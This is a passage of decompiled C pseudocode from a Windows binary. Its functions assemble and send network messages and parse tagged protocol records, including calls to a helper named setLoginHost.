  v24 = 17929;
  v25 = -787382452;
  v26 = 1162093186;
  v27 = 21587;
  v28 = 1815873818;
  v29 = -984678953;
  v30 = 1202082205;
  v31 = -1594543026;
  v32 = 1276331529;
  v33 = -787382452;
  v34 = 1162093186;
  v35 = 21587;
  v36 = 1265722185;
  v37 = 3302505;
  v38 = 517;
  v39 = 0;
  Dst = 0;
  Src = 0;
  v42 = 0;
  sub_41AB50((int)&v11, &v12, (int)&Dst, (int)&v11, Size);
  v44 = 0;
  v1 = *(_DWORD *)(a1 + 580);
  if ( v1 )
  {
    if ( v1 <= 0x20 )
      sub_41A9D0((int)&dword_421928[4 * v1], (int)&Dst, (int)Src, &dword_421928[4 * v1 - 4], Size);
  }
  v45 = 0;
  v46 = 0;
  v47 = 0;
  LOBYTE(v44) = 1;
  sub_405570((int)&Dst, (int)&v45);
  v48 = 5;
  LOBYTE(v44) = 2;
  v3 = Dst;
  v2 = Src;
  if ( Dst != Src )
  {
    memmove(Dst, Src, 0);
    v2 = v3;
    Src = v3;
  }
  v5 = v46;
  Size = v46 - (_DWORD)v45;
  v4 = v46 - (_DWORD)v45 + 4;
  if ( v2 - v3 < v4 )
  {
    sub_405670(v4, (int)&Dst);
    v3 = Dst;
  }
  v49 = htons(5u);
  v8 = htons(v5 - (_DWORD)v45);
  v9 = Size;
  *(_WORD *)v3 = v49;
  *((_WORD *)v3 + 1) = v8;
  memcpy((char *)v3 + 4, v45, v9);
  v6 = sub_413200(4, 0, a1, 2, (int)&Dst) == 1;
  if ( v45 )
    operator delete(v45);
  if ( Dst )
    operator delete(Dst);
  return v6;
}

//----- (0040F510) --------------------------------------------------------
char __fastcall sub_40F510(int a1, int a2, int a3)
{
  char v2; // bl@1
  int v4; // [sp+18h] [bp-1Ch]@1
  int v5; // [sp+1Ch] [bp-18h]@1
  int v6; // [sp+20h] [bp-14h]@1
  int v7; // [sp+30h] [bp-4h]@1
  int v8; // [sp+14h] [bp-20h]@1
  signed int v9; // [sp+Ch] [bp-28h]@1

  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = a2;
  v9 = 196611;
  v2 = sub_412EA0(a3, (int)&v9) == 1;
  if ( v4 )
    operator delete(v4);
  return v2;
}

//----- (0040F590) --------------------------------------------------------
char __fastcall sub_40F590(int a1, int a2, int a3)
{
  int v2; // eax@2
  char v4; // zf@6
  int v5; // [sp+1Ch] [bp-30h]@1
  int v6; // [sp+20h] [bp-2Ch]@1
  int v7; // [sp+24h] [bp-28h]@1
  int v8; // [sp+48h] [bp-4h]@1
  int v9; // [sp+18h] [bp-34h]@1
  signed int v10; // [sp+10h] [bp-3Ch]@1
  char v11; // [sp+2Ch] [bp-20h]@6

  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = 0;
  v9 = a2;
  v10 = 327684;
  if ( sub_412EA0(a3, (int)&v10) != 1 )
  {
    v2 = v5;
LABEL_3:
    if ( v2 )
      operator delete(v2);
    return 0;
  }
  v4 = sub_405400((int)&v5, (int)&v11) == 0;
  v2 = v5;
  if ( v4 )
    goto LABEL_3;
  if ( v5 )
    operator delete(v5);
  return 1;
}

//----- (0040F640) --------------------------------------------------------
char __fastcall sub_40F640(int a1)
{
  int v1; // ebx@1
  void *v2; // eax@2
  void *v4; // edi@6
  void *v5; // edi@9
  char v6; // zf@11
  __int16 v7; // [sp+24h] [bp-1Ch]@1
  signed int v8; // [sp+28h] [bp-18h]@1
  signed int v9; // [sp+2Ch] [bp-14h]@1
  signed int v10; // [sp+30h] [bp-10h]@1
  void *Dst; // [sp+14h] [bp-2Ch]@1
  void *Src; // [sp+18h] [bp-28h]@1
  int v13; // [sp+1Ch] [bp-24h]@1
  int v14; // [sp+3Ch] [bp-4h]@1

  v1 = a1;
  v7 = 1;
  v8 = 11;
  v9 = 65478464;
  v10 = 999;
  Dst = 0;
  Src = 0;
  v13 = 0;
  v14 = 0;
  sub_405480((int)&Dst, (int)&v7);
  if ( sub_413200(2, 0, v1, 4, (int)&Dst) != 1 )
    goto LABEL_17;
  v4 = Dst;
  if ( Dst != Src )
  {
    memmove(Dst, Src, 0);
    Src = v4;
  }
  v7 = 2;
  v8 = 3;
  v9 = 65478464;
  v10 = 999;
  sub_405480((int)&Dst, (int)&v7);
  if ( sub_413200(2, 0, v1, 4, (int)&Dst) != 1 )
  {
LABEL_17:
    v2 = Dst;
LABEL_3:
    if ( v2 )
      operator delete(v2);
    return 0;
  }
  v5 = Dst;
  if ( Dst != Src )
  {
    memmove(Dst, Src, 0);
    Src = v5;
  }
  v7 = 4;
  v8 = 3;
  v9 = 65478464;
  v10 = 999;
  sub_405480((int)&Dst, (int)&v7);
  v6 = sub_413200(2, 0, v1, 4, (int)&Dst) == 1;
  v2 = Dst;
  if ( !v6 )
    goto LABEL_3;
  if ( Dst )
    operator delete(Dst);
  return 1;
}

//----- (0040F7C0) --------------------------------------------------------
char __fastcall sub_40F7C0(int a1, int a2, int a3)
{
  char v2; // bl@1
  int v4; // [sp+18h] [bp-1Ch]@1
  int v5; // [sp+1Ch] [bp-18h]@1
  int v6; // [sp+20h] [bp-14h]@1
  int v7; // [sp+30h] [bp-4h]@1
  int v8; // [sp+14h] [bp-20h]@1
  signed int v9; // [sp+Ch] [bp-28h]@1

  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = a2;
  v9 = 196617;
  v2 = sub_412EA0(a3, (int)&v9) == 1;
  if ( v4 )
    operator delete(v4);
  return v2;
}

//----- (0040F840) --------------------------------------------------------
char __fastcall sub_40F840(int a1, int a2, int a3)
{
  char v2; // bl@1
  int v4; // [sp+18h] [bp-1Ch]@1
  int v5; // [sp+1Ch] [bp-18h]@1
  int v6; // [sp+20h] [bp-14h]@1
  int v7; // [sp+30h] [bp-4h]@1
  int v8; // [sp+14h] [bp-20h]@1
  signed int v9; // [sp+Ch] [bp-28h]@1

  v4 = 0;
  v5 = 0;
  v6 = 0;
  v7 = 0;
  v8 = a2;
  v9 = 196627;
  v2 = sub_412EA0(a3, (int)&v9) == 1;
  if ( v4 )
    operator delete(v4);
  return v2;
}

//----- (0040F8C0) --------------------------------------------------------
char __thiscall sub_40F8C0(int this, int a2)
{
  int v2; // ebx@1
  int v3; // ecx@6
  int (__cdecl *v4)(_DWORD); // ebx@7
  int v5; // esi@7
  int v6; // ST08_4@8
  int v8; // esi@17
  int v9; // eax@22
  int v10; // ecx@22
  __int64 v11; // qax@24
  int v12; // edi@25
  unsigned int v13; // ebx@27
  int v14; // edi@27
  int v15; // esi@27
  int v16; // ecx@29
  unsigned int v17; // ebx@38
  int v18; // esi@38
  const char *v19; // eax@39
  int v20; // edi@42
  int v21; // ecx@43
  unsigned int v22; // esi@47
  int v23; // eax@49
  int v24; // edx@50
  unsigned int v25; // ebx@54
  int v26; // eax@56
  unsigned int v27; // ebx@60
  int v28; // eax@62
  unsigned int v29; // ebx@66
  int v30; // eax@68
  int v31; // ebx@74
  unsigned int v32; // eax@76
  int v33; // ecx@76
  int v34; // edx@77
  int v35; // edi@77
  __int16 v36; // si@77
  int v37; // edi@84
  char v38; // zf@5
  int v39; // eax@17
  int v40; // eax@23
  int v41; // esi@23
  int v42; // ST0C_4@24
  int v43; // ST08_4@24
  int v44; // ST0C_4@24
  int v45; // ST08_4@24
  int v46; // ST0C_4@24
  int v47; // ST08_4@24
  int v48; // ST0C_4@24
  int v49; // ST08_4@24
  char v50; // zf@24
  __int16 v51; // dx@27
  unsigned int v52; // ecx@33
  int v53; // ST0C_4@38
  int v54; // ecx@47
  int v55; // ecx@52
  int v56; // ecx@58
  int v57; // ecx@64
  int v58; // ecx@70
  int v59; // esi@72
  char v60; // zf@73
  int v61; // ecx@74
  int v62; // ecx@83
  int v63; // esi@83
  int  s; // [sp+218h] [bp+0h]@1
  unsigned int v65; // [sp+204h] [bp-14h]@1
  int v66; // [sp+5Ch] [bp-1BCh]@1
  int v67; // [sp+20h] [bp-1F8h]@1
  int v68; // [sp+24h] [bp-1F4h]@1
  int v69; // [sp+28h] [bp-1F0h]@1
  int v70; // [sp+214h] [bp-4h]@1
  signed int v71; // [sp+14h] [bp-204h]@1
  __int16 v72; // [sp+18h] [bp-200h]@1
  int v73; // [sp+1Ch] [bp-1FCh]@1
  int v74; // [sp+40h] [bp-1D8h]@1
  int v75; // [sp+44h] [bp-1D4h]@1
  int v76; // [sp+48h] [bp-1D0h]@1
  char v77; // [sp+38h] [bp-1E0h]@3
  int v78; // [sp+60h] [bp-1B8h]@5
  int v79; // [sp+58h] [bp-1C0h]@5
  int v80; // [sp+70h] [bp-1A8h]@6
  int v81; // [sp+68h] [bp-1B0h]@17
  int v82; // [sp+64h] [bp-1B4h]@17
  int v83; // [sp+50h] [bp-1C8h]@24
  int v84; // [sp+34h] [bp-1E4h]@24
  int v85; // [sp+30h] [bp-1E8h]@24
  int v86; // [sp+54h] [bp-1C4h]@24
  int v87; // [sp+6Ch] [bp-1ACh]@25
  int v88; // [sp+74h] [bp-1A4h]@27
  __int16 v89; // [sp+ACh] [bp-16Ch]@27
  __int16 v90; // [sp+CCh] [bp-14Ch]@27
  int v91; // [sp+90h] [bp-188h]@27
  char v92; // [sp+B0h] [bp-168h]@27
  char v93; // [sp+CEh] [bp-14Ah]@27
  int v94; // [sp+D0h] [bp-148h]@35
  int v95; // [sp+D4h] [bp-144h]@35
  int v96; // [sp+D8h] [bp-140h]@35
  signed int v97; // [sp+1FCh] [bp-1Ch]@37
  int v98; // [sp+1F8h] [bp-20h]@37
  int v99; // [sp+1E8h] [bp-30h]@37
  __int16 v100; // [sp+1E4h] [bp-34h]@37
  char v101; // [sp+DCh] [bp-13Ch]@38
  __int16 v102; // [sp+DEh] [bp-13Ah]@41
  char v103; // [sp+E0h] [bp-138h]@44
  char Dst; // [sp+E1h] [bp-137h]@44
  char v105; // [sp+Ch] [bp-20Ch]@72

  v65 = (unsigned int)& s ^ dword_426018;
  v2 = this;
  v66 = this;
  v67 = 0;
  v68 = 0;
  v69 = 0;
  v70 = 0;
  v71 = 393235;
  v72 = 1;
  v73 = a2;
  v74 = 0;
  v75 = 0;
  v76 = 0;
  LOBYTE(v70) = 1;
  do
  {
    if ( sub_412EA0(v2, (int)&v71) != 1 )
    {
      v5 = v74;
      v4 = operator delete;
      if ( !v74 )
      {
LABEL_10:
        if ( v67 )
          v4(v67);
        return 0;
      }
      v6 = v75;
LABEL_9:
      sub_406300(v5, v6);
      v4(v5);
      goto LABEL_10;
    }
    if ( !sub_405240((int)&v67, (int)&v77) )
    {
      v5 = v74;
      v4 = operator delete;
      if ( !v74 )
        goto LABEL_10;
      v6 = v75;
      goto LABEL_9;
    }
  }
  while ( v72 & 1 );
  v38 = ((signed int)(*(_DWORD *)(v2 + 12)
                    - *(_DWORD *)(v2 + 8)
                    + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v2 + 12) - *(_DWORD *)(v2 + 8))) >> 32)) >> 8)
      + ((unsigned int)(*(_DWORD *)(v2 + 12)
                      - *(_DWORD *)(v2 + 8)
                      + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v2 + 12) - *(_DWORD *)(v2 + 8))) >> 32)) >> 31) == 0;
  v78 = 0;
  v79 = v2 + 8;
  if ( !v38 )
  {
    v3 = 0;
    v80 = 0;
    while ( 1 )
    {
      if ( *(_BYTE *)(*(_DWORD *)(v2 + 8) + v3 + 216) )
      {
        ++v78;
        v80 = v3 + 368;
      }
      else
      {
        sub_41ABC0(*(_DWORD *)(v2 + 8) + v3, v81, *(_DWORD *)(v2 + 8) + v3 + 368, *(_DWORD *)(v2 + 12));
        v39 = *(_DWORD *)(v2 + 12);
        v8 = v39 - 368;
        v82 = *(_DWORD *)(v2 + 12);
        if ( v39 - 368 != v39 )
        {
          do
          {
            sub_40C880(v8);
            v8 += 368;
          }
          while ( v8 != v82 );
        }
        *(_DWORD *)(v2 + 12) -= 368;
      }
      if ( v78 >= ((signed int)(*(_DWORD *)(v2 + 12)
                              - *(_DWORD *)(v2 + 8)
                              + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v2 + 12) - *(_DWORD *)(v2 + 8))) >> 32)) >> 8)
                + ((unsigned int)(*(_DWORD *)(v2 + 12)
                                - *(_DWORD *)(v2 + 8)
                                + ((unsigned __int64)(-1307163959i64 * (*(_DWORD *)(v2 + 12) - *(_DWORD *)(v2 + 8))) >> 32)) >> 31) )
        break;
      v3 = v80;
    }
  }
  v9 = *(_DWORD *)(v2 + 28);
  v78 = v2 + 24;
  v10 = *(_DWORD *)(v2 + 24);
  if ( v10 != v9 )
  {
    v40 = sub_419FD0(v9, v10, v9);
    v41 = v40;
    sub_41AE70(v40, *(_DWORD *)(v78 + 4));
    *(_DWORD *)(v78 + 4) = v41;
  }
  v42 = *(_DWORD *)(v2 + 44);
  v43 = *(_DWORD *)(v2 + 40);
  v83 = v2 + 40;
  sub_418690(v2 + 40, (int)&v81, v43, v42);
  v44 = *(_DWORD *)(v2 + 60);
  v45 = *(_DWORD *)(v2 + 56);
  v84 = v2 + 56;
  sub_418690(v2 + 56, (int)&v81, v45, v44);
  v46 = *(_DWORD *)(v2 + 76);
  v47 = *(_DWORD *)(v2 + 72);
  v85 = v2 + 72;
  sub_418690(v2 + 72, (int)&v81, v47, v46);
  v48 = *(_DWORD *)(v2 + 92);
  v49 = *(_DWORD *)(v2 + 88);
  v81 = v2 + 88;
  sub_418690(v2 + 88, (int)&v82, v49, v48);
  v86 = v2 + 540;
  sub_417ED0(v2 + 540);
  *((_DWORD *)&v11 + 1) = (signed int)(v75 - v74 + ((unsigned __int64)(-1840700269i64 * (v75 - v74)) >> 32)) >> 5;
  *(_DWORD *)&v11 = (unsigned int)(v75 - v74 + ((unsigned __int64)(-1840700269i64 * (v75 - v74)) >> 32)) >> 31;
  v50 = *((_DWORD *)&v11 + 1) + (_DWORD)v11 == 0;
  *(_DWORD *)&v11 = *((_DWORD *)&v11 + 1) + (_DWORD)v11;
  if ( !v50 )
  {
    v12 = v74 + 4;
    v87 = v74 + 4;
    v82 = v11;
    do
    {
      switch ( *(_WORD *)(v12 + 32) )
      {
        case 0:
          *(_DWORD *)&v11 = &v88;
          sub_40A510(v11);
          v13 = 0;
          LOBYTE(v70) = 2;
          sub_401600((int)&v88, -1, 0, v12);
          v89 = *(_WORD *)(v12 + 28);
          v51 = *(_WORD *)(v12 + 30);
          v14 = 0;
          v90 = v51;
          setLoginHost(byte_4212B9, 0, (int)&v91);
          setLoginHost(byte_4212B9, 0, (int)&v92);
          v15 = v87;
          v93 = 0;
          if ( ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v87 + 40) - *(_DWORD *)(v87 + 36))) >> 32) >> 3)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v87 + 40) - *(_DWORD *)(v87 + 36))) >> 32) >> 31) )
          {
            v80 = 0;
            do
            {
              v16 = *(_DWORD *)(v15 + 36);
              if ( *(_WORD *)(v14 + v16) == 305 )
              {
                setLoginHost(
                  *(const void **)(v14 + v16 + 4),
                  *(_DWORD *)(v14 + v16 + 8) - *(_DWORD *)(v14 + v16 + 4),
                  (int)&v91);
                v15 = v87;
                v14 = v80;
              }
              if ( *(_WORD *)(v14 + *(_DWORD *)(v15 + 36)) == 102 )
                v93 = 1;
              ++v13;
              v14 += 20;
              v52 = ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v15 + 40) - *(_DWORD *)(v15 + 36))) >> 32) >> 3)
                  + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v15 + 40) - *(_DWORD *)(v15 + 36))) >> 32) >> 31);
              v80 = v14;
            }
            while ( v13 < v52 );
            v14 = 0;
          }
          v94 = v14;
          v95 = v14;
          v96 = v14;
          sub_417A60((int)&v88, v79);
          LOBYTE(v70) = 1;
          sub_40C880((int)&v88);
          v12 = v87;
          v2 = v66;
          break;
        case 1:
          if ( *(_WORD *)(v12 + 28) )
          {
            v97 = 15;
            v98 = 0;
            LOBYTE(v99) = 0;
            LOBYTE(v70) = 3;
            v100 = *(_WORD *)(v12 + 28);
            sub_401600((int)&v99, -1, 0, v12);
            sub_417BB0((int)&v100, v78);
            LOBYTE(v70) = 1;
            sub_40D200((int)&v100);
            v12 = v87;
            v2 = v66;
          }
          break;
        case 0x14:
          *(_DWORD *)&v11 = &v88;
          sub_40A510(v11);
          v53 = v2 + 368;
          v17 = 0;
          LOBYTE(v70) = 4;
          sub_401600((int)&v88, -1, 0, v53);
          sub_401600((int)&v91, -1, 0, v12);
          v89 = *(_WORD *)(v12 + 28);
          setLoginHost(byte_4212B9, 0, (int)&v92);
          v18 = v87;
          v90 = *(_WORD *)(v87 + 30);
          v93 = 0;
          v101 = 1;
          if ( *(_DWORD *)(v87 + 20) < 0x10u )
            v19 = (const char *)v87;
          else
            v19 = *(const char **)v87;
          v102 = atoi(v19);
          if ( ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v18 + 40) - *(_DWORD *)(v18 + 36))) >> 32) >> 3)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v18 + 40) - *(_DWORD *)(v18 + 36))) >> 32) >> 31) )
          {
            v20 = 0;
            do
            {
              v21 = *(_DWORD *)(v18 + 36);
              if ( *(_WORD *)(v20 + v21) == 213 )
              {
                v103 = **(_BYTE **)(v20 + v21 + 4);
                memcpy(
                  &Dst,
                  (const void *)(*(_DWORD *)(v20 + *(_DWORD *)(v18 + 36) + 4) + 2),
                  *(_DWORD *)(v20 + *(_DWORD *)(v18 + 36) + 8) - *(_DWORD *)(v20 + *(_DWORD *)(v18 + 36) + 4));
              }
              ++v17;
              v20 += 20;
            }
            while ( v17 < ((signed int)((unsigned __int64)(1717986919i64
                                                         * (*(_DWORD *)(v18 + 40) - *(_DWORD *)(v18 + 36))) >> 32) >> 3)
                        + ((unsigned int)((unsigned __int64)(1717986919i64
                                                           * (*(_DWORD *)(v18 + 40) - *(_DWORD *)(v18 + 36))) >> 32) >> 31) );
          }
          sub_417A60((int)&v88, v83);
          LOBYTE(v70) = 1;
          sub_40C880((int)&v88);
          v12 = v87;
          v2 = v66;
          break;
        case 4:
          *(_WORD *)(v2 + 642) = *(_WORD *)(v12 + 30);
          v54 = *(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36);
          *((_DWORD *)&v11 + 1) = (signed int)((unsigned __int64)(1717986919i64 * v54) >> 32) >> 3;
          v22 = 0;
          if ( *((_DWORD *)&v11 + 1) + ((unsigned int)((unsigned __int64)(1717986919i64 * v54) >> 32) >> 31) )
          {
            v87 = 0;
            do
            {
              v23 = *(_DWORD *)(v12 + 36) + v87;
              if ( *(_WORD *)v23 == 202 )
              {
                v24 = *(_DWORD *)(v23 + 4);
                if ( v24 != *(_DWORD *)(v23 + 8) )
                  *(_BYTE *)(v2 + 640) = *(_BYTE *)v24;
              }
              v55 = *(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36);
              v87 += 20;
              *((_DWORD *)&v11 + 1) = (signed int)((unsigned __int64)(1717986919i64 * v55) >> 32) >> 3;
              ++v22;
            }
            while ( v22 < *((_DWORD *)&v11 + 1) + ((unsigned int)((unsigned __int64)(1717986919i64 * v55) >> 32) >> 31) );
          }
          break;
        case 2:
          *(_DWORD *)&v11 = &v88;
          sub_40A510(v11);
          v25 = 0;
          LOBYTE(v70) = 5;
          sub_401600((int)&v88, -1, 0, v12);
          v89 = *(_WORD *)(v12 + 28);
          v90 = *(_WORD *)(v12 + 30);
          if ( ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36))) >> 32) >> 3)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36))) >> 32) >> 31) )
          {
            v80 = 0;
            do
            {
              v26 = *(_DWORD *)(v12 + 36) + v80;
              if ( *(_WORD *)v26 == 305 )
              {
                setLoginHost(*(const void **)(v26 + 4), *(_DWORD *)(v26 + 8) - *(_DWORD *)(v26 + 4), (int)&v91);
                v12 = v87;
              }
              v56 = *(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36);
              v80 += 20;
              ++v25;
            }
            while ( v25 < ((signed int)((unsigned __int64)(1717986919i64 * v56) >> 32) >> 3)
                        + ((unsigned int)((unsigned __int64)(1717986919i64 * v56) >> 32) >> 31) );
          }
          sub_417A60((int)&v88, v84);
          LOBYTE(v70) = 1;
          sub_40C880((int)&v88);
          v2 = v66;
          break;
        case 3:
          *(_DWORD *)&v11 = &v88;
          sub_40A510(v11);
          v27 = 0;
          LOBYTE(v70) = 6;
          sub_401600((int)&v88, -1, 0, v12);
          v89 = *(_WORD *)(v12 + 28);
          v90 = *(_WORD *)(v12 + 30);
          if ( ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36))) >> 32) >> 3)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36))) >> 32) >> 31) )
          {
            v80 = 0;
            do
            {
              v28 = *(_DWORD *)(v12 + 36) + v80;
              if ( *(_WORD *)v28 == 305 )
              {
                setLoginHost(*(const void **)(v28 + 4), *(_DWORD *)(v28 + 8) - *(_DWORD *)(v28 + 4), (int)&v91);
                v12 = v87;
              }
              v57 = *(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36);
              v80 += 20;
              ++v27;
            }
            while ( v27 < ((signed int)((unsigned __int64)(1717986919i64 * v57) >> 32) >> 3)
                        + ((unsigned int)((unsigned __int64)(1717986919i64 * v57) >> 32) >> 31) );
          }
          sub_417A60((int)&v88, v85);
          LOBYTE(v70) = 1;
          sub_40C880((int)&v88);
          v2 = v66;
          break;
        case 0xE:
          *(_DWORD *)&v11 = &v88;
          sub_40A510(v11);
          v29 = 0;
          LOBYTE(v70) = 7;
          sub_401600((int)&v88, -1, 0, v12);
          v89 = *(_WORD *)(v12 + 28);
          v90 = *(_WORD *)(v12 + 30);
          if ( ((signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36))) >> 32) >> 3)
             + ((unsigned int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36))) >> 32) >> 31) )
          {
            v80 = 0;
            do
            {
              v30 = *(_DWORD *)(v12 + 36) + v80;
              if ( *(_WORD *)v30 == 305 )
              {
                setLoginHost(*(const void **)(v30 + 4), *(_DWORD *)(v30 + 8) - *(_DWORD *)(v30 + 4), (int)&v91);
                v12 = v87;
              }
              v58 = *(_DWORD *)(v12 + 40) - *(_DWORD *)(v12 + 36);
              v80 += 20;
              ++v29;
            }
            while ( v29 < ((signed int)((unsigned __int64)(1717986919i64 * v58) >> 32) >> 3)
                        + ((unsigned int)((unsigned __int64)(1717986919i64 * v58) >> 32) >> 31) );
          }
          sub_417A60((int)&v88, v81);
          LOBYTE(v70) = 1;
          sub_40C880((int)&v88);
          v2 = v66;
          break;
        default:
          v59 = v86;
          *(_DWORD *)&v11 = loc_41AAE0(v12 + 30);
          sub_41A1E0((int)&v105, v59, v11);
          break;
      }
      v12 += 56;
      v60 = v82-- == 1;
      v87 = v12;
    }
    while ( !v60 );
  }
  v31 = v79;
  v61 = *(_DWORD *)(v79 + 4) - *(_DWORD *)v79;
  v82 = 0;
  if ( ((signed int)(v61 + ((unsigned __int64)(-1307163959i64 * v61) >> 32)) >> 8)
     + ((unsigned int)(v61 + ((unsigned __int64)(-1307163959i64 * v61) >> 32)) >> 31) )
  {
    v80 = 0;
    do
    {
      v32 = 0;
      v33 = (*(_DWORD *)(v78 + 4) - *(_DWORD *)v78) >> 5;
      if ( v33 )
      {
        v35 = *(_DWORD *)v78;
        v36 = *(_WORD *)(v80 + *(_DWORD *)v31 + 56);
        v81 = v80 + *(_DWORD *)v31;
        v34 = v35;
        while ( *(_WORD *)v34 != v36 )
        {
          ++v32;
          v34 += 32;
          if ( v32 >= v33 )
            goto LABEL_83;
        }
        if ( (signed int)v32 >= 0 )
        {
          sub_401600(v81 + 60, -1, 0, 32 * v32 + v35 + 4);
          v31 = v79;
        }
      }
LABEL_83:
      v62 = *(_DWORD *)(v31 + 4) - *(_DWORD *)v31;
      v80 += 368;
      v63 = v82++ + 1;
    }
    while ( v63 < ((signed int)(v62 + ((unsigned __int64)(-1307163959i64 * v62) >> 32)) >> 8)
                + ((unsigned int)(v62 + ((unsigned __int64)(-1307163959i64 * v62) >> 32)) >> 31) );
  }
  v37 = v74;
  if ( v74 )
  {
    sub_406300(v74, v75);
    operator delete(v37);
  }
  if ( v67 )
    operator delete(v67);
  return 1;
}

//----- (00410320) --------------------------------------------------------
char __stdcall sub_410320(int a1, int a2, char a3)
{
  int v3; // esi@11
  char result; // al@16
  int  s; // [sp+88h] [bp+0h]@1
  unsigned int v6; // [sp+74h] [bp-14h]@1
  int v7; // [sp+34h] [bp-54h]@1
  int v8; // [sp+10h] [bp-78h]@1
  int v9; // [sp+14h] [bp-74h]@1
  int v10; // [sp+18h] [bp-70h]@1
  int v11; // [sp+84h] [bp-4h]@1
  int (__stdcall **v12)(char); // [sp+20h] [bp-68h]@1
  int v13; // [sp+24h] [bp-64h]@1
  int v14; // [sp+28h] [bp-60h]@1
  int v15; // [sp+2Ch] [bp-5Ch]@1
  int v16; // [sp+3Ch] [bp-4Ch]@1
  int v17; // [sp+40h] [bp-48h]@1
  int v18; // [sp+44h] [bp-44h]@1
  __int16 v19; // [sp+38h] [bp-50h]@1
  int Src; // [sp+4Ch] [bp-3Ch]@6
  int v21; // [sp+50h] [bp-38h]@6
  signed int v22; // [sp+54h] [bp-34h]@6
  signed int v23; // [sp+58h] [bp-30h]@6
  signed int v24; // [sp+5Ch] [bp-2Ch]@6
  signed int v25; // [sp+60h] [bp-28h]@6
  int v26; // [sp+64h] [bp-24h]@6
  int v27; // [sp+68h] [bp-20h]@6
  int v28; // [sp+6Ch] [bp-1Ch]@6
  char v29; // [sp+70h] [bp-18h]@6
  char v30; // [sp+71h] [bp-17h]@6

  v6 = (unsigned int)& s ^ dword_426018;
  v7 = a1;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = &off_4214E8;
  v13 = 0;
  v14 = 0;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  LOBYTE(v11) = 2;
  sub_4024C0(a2 | 0x1000000, (int)&v19);
  v19 = 6;
  LOBYTE(v11) = 3;
  sub_4056D0((unsigned int)&v19, (int)&v13);
  if ( v16 )
    operator delete(v16);
  if ( a3 )
  {
    v16 = 0;
    v17 = 0;
    v18 = 0;
    LOBYTE(v11) = 4;
    sub_4023E0(0, (int)&v19);
    v19 = 8;
    LOBYTE(v11) = 5;
    sub_4056D0((unsigned int)&v19, (int)&v13);
    if ( v16 )
      operator delete(v16);
  }
  Src = 0;
  v21 = 0;
  v22 = 168361988;
  v23 = 4535051;
  v24 = 16059136;
  v25 = 65536;
  v26 = 0;
  v27 = 0;
  v28 = 0;
  v29 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  LOBYTE(v11) = 6;
  sub_41A9D0((int)&v30, (int)&v16, 0, &Src, v7);
  v19 = 12;
  LOBYTE(v11) = 7;
  sub_4056D0((unsigned int)&v19, (int)&v13);
  LOBYTE(v11) = 1;
  if ( v16 )
    operator delete(v16);
  if ( a3 )
  {
    v16 = 0;
    v17 = 0;
    v18 = 0;
    LOBYTE(v11) = 8;
    sub_4023E0(0, (int)&v19);
    v19 = 31;
    LOBYTE(v11) = 9;
    sub_4056D0((unsigned int)&v19, (int)&v13);
    LOBYTE(v11) = 1;
    if ( v16 )
      operator delete(v16);
  }
  loc_4029C0(&v12, &v8, 0, (unsigned int)& s ^ dword_426018);
  v3 = v13;
  if ( sub_413200(30, 0, v7, 1, (int)&v8) == 1 )
  {
    if ( v13 )
    {
      sub_4061B0(v13, v14);
      operator delete(v3);
    }
    if ( v8 )
      operator delete(v8);
    result = 1;
  }
  else
  {
    if ( v13 )
    {
      sub_4061B0(v13, v14);
      operator delete(v3);
    }
    if ( v8 )
      operator delete(v8);
    result = 0;
  }
  return result;
}

//----- (00410570) --------------------------------------------------------
char __stdcall sub_410570(int a1)
{
  int v1; // eax@1
  unsigned int v2; // edx@1
  unsigned int v3; // ecx@1
  int v4; // ebx@1
  int v5; // esi@1
  int v6; // ebx@2
  int v7; // eax@7
  int v8; // eax@9
  _BYTE *v9; // ebx@11
  int v10; // edx@12
  int v11; // edx@14
  unsigned int v12; // edi@14
  unsigned int v13; // eax@16
  int v14; // edx@24
  int v15; // edx@26
  unsigned int v16; // edi@26
  unsigned int v17; // eax@28
  int v18; // eax@36
  _BYTE *v19; // ebx@38
  int v20; // edx@39
  int v21; // edx@41
  unsigned int v22; // edi@41
  unsigned int v23; // eax@43
  int v24; // edx@51
  int v25; // edx@53
  unsigned int v26; // edi@53
  unsigned int v27; // eax@55
  int v28; // eax@63
  char v29; // bl@63
  _BYTE *v30; // ebx@65
  int v31; // edx@66
  int v32; // edx@68
  unsigned int v33; // edi@68
  unsigned int v34; // eax@70
  int v35; // edx@78
  int v36; // edx@80
  unsigned int v37; // edi@80
  unsigned int v38; // eax@82
  int v39; // eax@90
  _BYTE *v40; // ebx@92
  int v41; // edx@93
  int v42; // edx@95
  unsigned int v43; // edi@95
  unsigned int v44; // eax@97
  int v45; // edx@105
  int v46; // edx@107
  unsigned int v47; // edi@107
  unsigned int v48; // eax@109
  int v49; // eax@117
  _BYTE *v50; // ebx@119
  int v51; // edx@120
  int v52; // edx@122
